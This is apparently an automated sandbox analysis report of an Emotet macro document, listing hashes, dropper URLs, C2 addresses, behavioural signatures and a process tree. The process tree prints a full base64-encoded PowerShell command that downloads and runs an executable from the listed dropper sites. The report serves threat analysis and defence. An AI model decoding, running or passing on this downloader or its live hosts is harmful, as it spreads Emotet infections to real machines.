Analysis

  • max time kernel
    137s
  • max time network
    145s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    15/09/2020, 20:01

General

  • Target
    emotet_e1_586aaad57ae25b46ebdf77e506d4381558cdb2d3692ac3d02ec0ef904a3f27e4_2020-09-15__195840._doc.doc
  • Size 156KB
  • Sample200915-e7qf3zrvxe
  • SHA256 586aaad57ae25b46ebdf77e506d4381558cdb2d3692ac3d02ec0ef904a3f27e4
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://belhao.com/wp-includes/gg/

  • exe.dropper

    http://badacareer.com/5f2o/hN/

  • exe.dropper

    http://siili.net/wp-admin/dnE/

  • exe.dropper

    https://sulselekspres.com/TEST777/a/

  • exe.dropper

    http://nouralanwar.com/cgfo/k/

  • exe.dropper

    https://povedavicedo.com/wp-admin/E5/

  • exe.dropper

    https://shoyannutrition.com/wp-includes/kn/

Extracted

Family
  • emotet

C2
  • 155.186.0.121:80

  • 51.38.124.206:80

  • 82.196.15.205:8080

  • 38.88.126.202:8080

  • 219.92.13.25:80

  • 111.67.77.202:8080

  • 95.9.180.128:80

  • 77.90.136.129:8080

  • 190.163.31.26:80

  • 74.136.144.133:80

  • 104.131.103.37:8080

  • 45.33.77.42:8080

  • 192.241.143.52:8080

  • 78.249.119.122:80

  • 177.74.228.34:80

  • 152.169.22.67:80

  • 92.24.50.153:80

  • 5.189.178.202:8080

  • 104.131.41.185:8080

  • 82.230.1.24:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 15 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_586aaad57ae25b46ebdf77e506d4381558cdb2d3692ac3d02ec0ef904a3f27e4_2020-09-15__195840._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:2584
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e JABYAGsAbwBvAGgAbABwAD0AKAAnAE4AJwArACcAZAAnACsAKAAnADAAYQByACcAKwAnAGMAcgAnACkAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUAbgBWADoAdQBzAEUAcgBQAHIAbwBGAEkAbABlAFwAawA4AEgAOAA5AFgAcwBcAEsAYwBGADUAWQBGADEAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIARQBjAFQATwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAYABFAEMAYABVAGAAUgBgAEkAdAB5AHAAUgBvAHQAbwBjAG8ATAAiACAAPQAgACgAJwB0AGwAJwArACcAcwAxACcAKwAoACcAMgAsACAAdAAnACsAJwBsAHMAMQAxACcAKQArACgAJwAsACcAKwAnACAAdABsAHMAJwApACkAOwAkAEoAMABoAF8ANQAzAG4AIAA9ACAAKAAnAE0AJwArACgAJwBlAG4AbwAnACsAJwA5ADMAJwApACsAKAAnAGUAZgAnACsAJwBkACcAKQApADsAJABNAHQAMwBtAHIAaABpAD0AKAAnAEMAJwArACgAJwB1ACcAKwAnAG4AMAAnACsAJwBtAGQAcwAnACkAKQA7ACQAVQB2AGQANwB2ADgAZwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwB7ADAAJwArACcAfQAnACsAKAAnAEsAJwArACcAOABoACcAKQArACcAOAA5AHgAcwB7ADAAJwArACcAfQBLAGMAZgA1AHkAZgAxAHsAMAAnACsAJwB9ACcAKQAgACAALQBGACAAIABbAEMAaABBAFIAXQA5ADIAKQArACQASgAwAGgAXwA1ADMAbgArACgAKAAnAC4AJwArACcAZQB4ACcAKQArACcAZQAnACkAOwAkAEoANQB6AHIAMgBtAHcAPQAoACgAJwBKAHQAJwArACcANAAnACkAKwAnAGwAJwArACgAJwBpACcAKwAnAGYAZgAnACkAKQA7ACQASAB3AG0AZwBfAGsAaAA9ACYAKAAnAG4AZQAnACsAJwB3AC0AbwBiAGoAZQBjACcAKwAnAHQAJwApACAAbgBFAHQALgB3AGUAYgBjAGwAaQBFAG4AVAA7ACQAQQB6AGkAbABfAHkAYwA9ACgAKAAnAGgAdAAnACsAJwB0ACcAKQArACcAcAA6ACcAKwAoACcALwAvAGIAJwArACcAZQBsAGgAJwArACcAYQBvACcAKwAnAC4AYwBvAG0ALwAnACsAJwB3AHAAJwApACsAJwAtACcAKwAnAGkAJwArACgAJwBuAGMAbAB1ACcAKwAnAGQAJwApACsAJwBlAHMAJwArACgAJwAvAGcAZwAnACsAJwAvACoAaAAnACsAJwB0AHQAcAA6ACcAKQArACcALwAvACcAKwAnAGIAYQAnACsAJwBkAGEAJwArACcAYwAnACsAKAAnAGEAcgBlACcAKwAnAGUAcgAnACkAKwAoACcALgAnACsAJwBjAG8AbQAnACkAKwAoACcALwA1AGYAMgBvACcAKwAnAC8AJwArACcAaAAnACkAKwAnAE4AJwArACcALwAqACcAKwAnAGgAJwArACcAdAB0ACcAKwAoACcAcAA6AC8AJwArACcALwAnACkAKwAnAHMAJwArACcAaQBpACcAKwAnAGwAJwArACgAJwBpACcAKwAnAC4AbgAnACkAKwAoACcAZQAnACsAJwB0AC8AdwBwACcAKQArACcALQAnACsAKAAnAGEAZAAnACsAJwBtAGkAbgAnACkAKwAoACcALwBkAG4ARQAnACsAJwAvACcAKwAnACoAaAB0AHQAcABzACcAKQArACgAJwA6AC8ALwBzAHUAbABzAGUAJwArACcAbABlAGsAcwAnACsAJwBwAHIAJwArACcAZQAnACkAKwAnAHMALgAnACsAKAAnAGMAbwBtACcAKwAnAC8AVABFAFMAVAA3ACcAKwAnADcANwAnACkAKwAnAC8AJwArACgAJwBhACcAKwAnAC8AKgBoACcAKQArACgAJwB0AHQAJwArACcAcAA6ACcAKQArACcALwAvACcAKwAnAG4AJwArACgAJwBvACcAKwAnAHUAcgBhACcAKQArACgAJwBsAGEAbgB3ACcAKwAnAGEAcgAuAGMAJwApACsAKAAnAG8AJwArACcAbQAvACcAKQArACcAYwAnACsAKAAnAGcAZgBvACcAKwAnAC8AawAvACcAKQArACcAKgAnACsAJwBoACcAKwAoACcAdAAnACsAJwB0AHAAJwApACsAKAAnAHMAOgAvACcAKwAnAC8AcAAnACkAKwAnAG8AJwArACgAJwB2AGUAJwArACcAZABhACcAKQArACcAdgAnACsAJwBpACcAKwAnAGMAJwArACgAJwBlAGQAJwArACcAbwAuAGMAbwBtACcAKwAnAC8AJwApACsAJwB3AHAAJwArACgAJwAtAGEAZABtACcAKwAnAGkAJwArACcAbgAvAEUAJwApACsAJwA1AC8AJwArACgAJwAqAGgAJwArACcAdAAnACkAKwAoACcAdAAnACsAJwBwAHMAOgAnACkAKwAnAC8AJwArACgAJwAvACcAKwAnAHMAaABvACcAKQArACgAJwB5AGEAbgAnACsAJwBuAHUAJwApACsAKAAnAHQAJwArACcAcgBpACcAKQArACgAJwB0AGkAJwArACcAbwBuACcAKQArACcALgBjACcAKwAnAG8AbQAnACsAKAAnAC8AdwAnACsAJwBwACcAKQArACgAJwAtAGkAbgAnACsAJwBjAGwAJwArACcAdQBkAGUAcwAnACkAKwAnAC8AJwArACgAJwBrACcAKwAnAG4ALwAnACkAKQAuACIAUwBQAGAAbABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABIAGwANQA4AG0AaAB3AD0AKAAoACcAVQBwAF8AOQByACcAKwAnAHMAJwApACsAJwA0ACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFAANQB5ADMAbABmAHoAIABpAG4AIAAkAEEAegBpAGwAXwB5AGMAKQB7AHQAcgB5AHsAJABIAHcAbQBnAF8AawBoAC4AIgBkAGAATwBXAGAATgBgAGwATwBBAGQARgBJAEwAZQAiACgAJABQADUAeQAzAGwAZgB6ACwAIAAkAFUAdgBkADcAdgA4AGcAKQA7ACQAWAA2AG8AawByAHgAZgA9ACgAJwBYAHEAJwArACcAXwAnACsAKAAnADAAcAA4ACcAKwAnADUAJwApACkAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQAVQB2AGQANwB2ADgAZwApAC4AIgBsAEUAYABOAEcAYABUAEgAIgAgAC0AZwBlACAAMwA4ADgANwAzACkAIAB7ACYAKAAnAEkAJwArACcAbgB2AG8AawAnACsAJwBlACcAKwAnAC0ASQB0AGUAbQAnACkAKAAkAFUAdgBkADcAdgA4AGcAKQA7ACQARAB5AGEAagB3ADIAZwA9ACgAJwBZAHoAJwArACcAbAAnACsAKAAnAG0AeQA1ACcAKwAnADYAJwApACkAOwBiAHIAZQBhAGsAOwAkAE4AcABuADIANgAzAHkAPQAoACgAJwBSACcAKwAnAF8AOAAnACkAKwAnAGkAJwArACgAJwB5AG0AJwArACcANwAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQgB0AG0ANQAzAF8AbAA9ACgAKAAnAEYAJwArACcAYwB0ACcAKQArACgAJwA5ADUAJwArACcANQAnACkAKwAnAGkAJwApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3024
    • C:\Users\Admin\K8h89xs\Kcf5yf1\Meno93efd.exe
      "C:\Users\Admin\K8h89xs\Kcf5yf1\Meno93efd.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1336
      • C:\Windows\SysWOW64\CertEnrollUI\Windows.Media.Audio.exe
        "C:\Windows\SysWOW64\CertEnrollUI\Windows.Media.Audio.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:3136

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/1336-13-0x0000000002400000-0x0000000002412000-memory.dmp

        memory/1336-14-0x0000000002420000-0x0000000002430000-memory.dmp

        memory/2584-0-0x00007FF9F0560000-0x00007FF9F0C26000-memory.dmp

        memory/3024-9-0x00000254BA880000-0x00000254BA881000-memory.dmp

        memory/3024-8-0x00000254BA6D0000-0x00000254BA6D1000-memory.dmp

        memory/3024-7-0x00007FF9E9060000-0x00007FF9E9A4C000-memory.dmp

        memory/3136-17-0x00000000005F0000-0x0000000000602000-memory.dmp

        memory/3136-18-0x0000000000610000-0x0000000000620000-memory.dmp